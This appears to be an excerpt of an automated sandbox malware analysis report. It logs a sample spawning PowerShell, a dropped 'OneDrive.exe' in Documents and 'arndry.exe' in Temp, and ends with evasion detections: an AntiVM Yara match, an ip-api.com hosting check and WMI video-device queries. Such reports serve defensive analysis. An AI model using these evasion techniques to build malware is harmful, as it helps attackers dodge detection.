Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\b39wW3jYKO.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\arndry.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\OneDrive.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: b39wW3jYKO.exe PID: 6412, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\b39wW3jYKO.exe

